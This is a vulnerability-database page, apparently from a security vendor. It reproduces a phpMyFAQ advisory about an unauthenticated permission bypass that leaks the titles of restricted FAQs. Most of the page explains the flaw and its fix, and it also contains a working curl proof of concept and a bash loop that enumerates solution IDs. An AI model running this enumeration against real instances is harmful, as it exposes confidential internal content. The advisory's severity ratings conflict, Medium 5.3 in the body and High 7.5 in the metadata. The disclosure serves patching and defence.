How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

390,645

Total vulnerabilities in the database

phpMyFAQ has unauthenticated FAQ permission bypass via getFaqBySolutionId fallback query — thorsten / phpmyfaq

Incorrect Authorization

Summary

The public /solution_id_{id}.html route calls Faq::getIdFromSolutionId() in phpmyfaq/src/phpMyFAQ/Faq.php:1312. That query joins faqdata with faqcategoryrelations solely by solution_id and returns the matching FAQ's id, lang, thema (title), and category_id with no permission filter. An unauthenticated visitor hits the route with a sequential integer and the server 301-redirects to /content/<category>/<id>/<lang>/<title-slug>.html, leaking the FAQ's existence, internal id, language, category binding, and title via the redirect's Location header and the redirected page's canonical link, share-to-social URLs, and hidden form fields. The related getFaqBySolutionId() at line 1221 contains an explicit fallback query (added "for tests") that also bypasses the permission filter, widening the blast radius to any callsite that trusts its result.

Details

The sink: `getIdFromSolutionId()` has no permission filter

phpmyfaq/src/phpMyFAQ/Faq.php:1312:

public function getIdFromSolutionId(int $solutionId): array
{
    $query = sprintf(
        &#039;SELECT fd.id, fd.lang, fd.thema AS question, fd.content, fcr.category_id
         FROM %sfaqdata fd
         LEFT JOIN %sfaqcategoryrelations fcr
           ON fd.id = fcr.record_id AND fd.lang = fcr.record_lang
         WHERE fd.solution_id = %d&#039;,
        Database::getTablePrefix(),
        Database::getTablePrefix(),
        $solutionId,
    );
    // ...
}

No WHERE-clause permission filter, no group/user filter. Every callsite that trusts this method exposes restricted FAQs. The route at phpmyfaq/src/phpMyFAQ/Controller/Frontend/FaqController.php:172 uses this result to compute a slugified URL and 301-redirects to it:

#[Route(path: &#039;/solution_id_{solutionId}.html&#039;, name: &#039;public.faq.solution&#039;, methods: [&#039;GET&#039;])]
public function solution(Request $request): Response
{
    $solutionId = Filter::filterVar($request-&gt;attributes-&gt;get(&#039;solutionId&#039;), FILTER_VALIDATE_INT, 0);
    // ...
    $faqData = $this-&gt;faq-&gt;getIdFromSolutionId($solutionId);
    if ($faqData === []) {
        return new Response(&#039;&#039;, Response::HTTP_NOT_FOUND);
    }
    $slug = TitleSlugifier::slug($faqData[&#039;question&#039;]);
    $url = sprintf(&#039;/content/%d/%d/%s/%s.html&#039;,
        $faqData[&#039;category_id&#039;], $faqData[&#039;id&#039;], $faqData[&#039;lang&#039;], $slug);
    return new RedirectResponse($url, Response::HTTP_MOVED_PERMANENTLY);
}

The redirect URL embeds the title slug, so an unauthenticated visitor observes the title directly even though the canonical /content/<...>.html page may deny rendering the body.

Related sink: `getFaqBySolutionId()` explicitly falls back without the filter

phpmyfaq/src/phpMyFAQ/Faq.php:1256-1265:

if (false === $row || null === $row) {
    // Fallback without permission filter to ensure retrieval in non-authenticated contexts (e.g., tests)
    $fallbackQuery = sprintf(
        &#039;SELECT * FROM %sfaqdata fd WHERE fd.solution_id = %d LIMIT 1&#039;,
        Database::getTablePrefix(),
        $solutionId,
    );
    $fallbackResult = $this-&gt;configuration-&gt;getDb()-&gt;query($fallbackQuery);
    $row = $this-&gt;configuration-&gt;getDb()-&gt;fetchObject($fallbackResult);
}

The inline comment confirms the fallback was introduced for test convenience. In production, the fallback fires exactly when the permission-filtered query returns zero rows (because the caller is unauthenticated or lacks group/user permission) and populates every field of faqRecord, including content, keywords, author, email, and notes. Downstream consumers that expect faqRecord to respect ACLs no longer do.

Entry enumeration

Solution IDs are monotonically increasing integers (faqdata.solution_id). An attacker enumerates /solution_id_<n>.html from 1 upward and records every non-404 response to discover the full set of FAQs on the instance, including ones restricted to admin-only groups or specific users.

Proof of Concept

Prerequisites: a phpMyFAQ instance has at least one FAQ record restricted to a specific user or group via faqdata_user / faqdata_group. Note its solution_id, which is assigned sequentially starting from a six-digit base.

Step 1. Anonymous GET of the solution URL:

curl -sS -L -o /tmp/out.html -w &#039;HTTP %{http_code}\n&#039; \
  &#039;http://&lt;host&gt;/solution_id_&lt;restricted-solution-id&gt;.html&#039;

Step 2. Observe the 301 redirect that getIdFromSolutionId() returns. The Location header carries the slugified title of the restricted FAQ directly in the URL path:

HTTP/1.1 301 Moved Permanently
Location: /content/&lt;category-id&gt;/&lt;record-id&gt;/&lt;lang&gt;/&lt;title-slug&gt;.html

Step 3. The redirected content page embeds the same metadata in client-controlled sinks, even when the body rendering is suppressed by a separate permission check:

&lt;link rel=&quot;canonical&quot; href=&quot;http://&lt;host&gt;/content/&lt;category-id&gt;/&lt;record-id&gt;/&lt;lang&gt;/&lt;title-slug&gt;.html&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;voting-id&quot; value=&quot;&lt;record-id&gt;&quot;&gt;
&lt;a href=&quot;http://&lt;host&gt;/pdf/&lt;category-id&gt;/&lt;record-id&gt;/&lt;lang&gt;&quot;&gt;...&lt;/a&gt;

Step 4. Enumerate solution IDs to discover every FAQ on the instance, including those the permission model intended to hide:

for id in $(seq 1 100000); do
  code=$(curl -sS -o /dev/null -w &#039;%{http_code}&#039; &quot;http://&lt;host&gt;/solution_id_${id}.html&quot;)
  if [ &quot;$code&quot; = &quot;301&quot; ]; then
    loc=$(curl -sSI &quot;http://&lt;host&gt;/solution_id_${id}.html&quot; | awk -F&#039;: &#039; &#039;/^Location:/{print $2}&#039; | tr -d &#039;\r&#039;)
    echo &quot;solution_id=${id} -&gt; ${loc}&quot;
  fi
done

Each 301 response's Location header reveals category, id, language, and title of a FAQ whose existence the permission model meant to hide.

Impact

Any unauthenticated visitor discovers the full set of FAQ entries on the instance, including the subset restricted to specific groups or users, and reads the title of every restricted FAQ. Deployments that use phpMyFAQ to host internal-only content alongside public content (staff knowledge bases, internal SOPs, confidential customer notes) lose the confidentiality of titles and of the fact that those FAQs exist. Slugified titles often encode the subject directly (for example q3-layoff-plan, aws-root-key-rotation), so the title alone can be sensitive.

The body content is usually still served through a separate permission-enforcing path on the canonical /content/<...>.html URL, so full-body disclosure requires the caller to also defeat that path (for example by combining with a session from any low-privilege account). The title-plus-existence leak is sufficient on its own to harm confidentiality in deployments where titles encode what the FAQ is about.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (Medium, 5.3). CWE-863.

Recommended Fix

Add a permission filter to getIdFromSolutionId() the same way getFaqBySolutionId() builds one for its primary query (using QueryHelper::queryPermission()):

public function getIdFromSolutionId(int $solutionId): array
{
    $queryHelper = new QueryHelper($this-&gt;user, $this-&gt;groups);
    $query = sprintf(
        &#039;SELECT fd.id, fd.lang, fd.thema AS question, fd.content, fcr.category_id
         FROM %sfaqdata fd
         LEFT JOIN %sfaqcategoryrelations fcr
           ON fd.id = fcr.record_id AND fd.lang = fcr.record_lang
         LEFT JOIN (
             SELECT record_id, group_id FROM %sfaqdata_group fdg WHERE fdg.group_id &lt;&gt; -1
             UNION ALL
             SELECT fd.id AS record_id, -1 AS group_id FROM %sfaqdata fd WHERE fd.solution_id = %d
         ) AS fdg ON fd.id = fdg.record_id
         LEFT JOIN %sfaqdata_user fdu ON fd.id = fdu.record_id
         WHERE fd.solution_id = %d %s&#039;,
        Database::getTablePrefix(),
        Database::getTablePrefix(),
        Database::getTablePrefix(),
        Database::getTablePrefix(),
        $solutionId,
        Database::getTablePrefix(),
        $solutionId,
        $queryHelper-&gt;queryPermission($this-&gt;groupSupport),
    );
    // ...
}

Separately, remove the unconditional fallback in getFaqBySolutionId() at Faq.php:1256-1265. If the permission-filtered query returns no rows, the FAQ is not visible to this caller; the method should leave faqRecord empty rather than re-query without the filter. If tests rely on the old behavior, replace the production fallback with a dedicated test helper or a flag that is disabled outside test bootstrap.

Found by aisafe.io

Published: May 6, 2026
Updated: Aug 29, 2026
GHSA: GHSA-99qv-g4x9-mgc3
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWEs:

CWE-863

Affected Software
References

Software	Affected versions
thorsten / phpmyfaq	`< 4.1.2`
phpmyfaq / phpmyfaq	`< 4.1.2`

https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-99qv-g4x9-mgc3

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.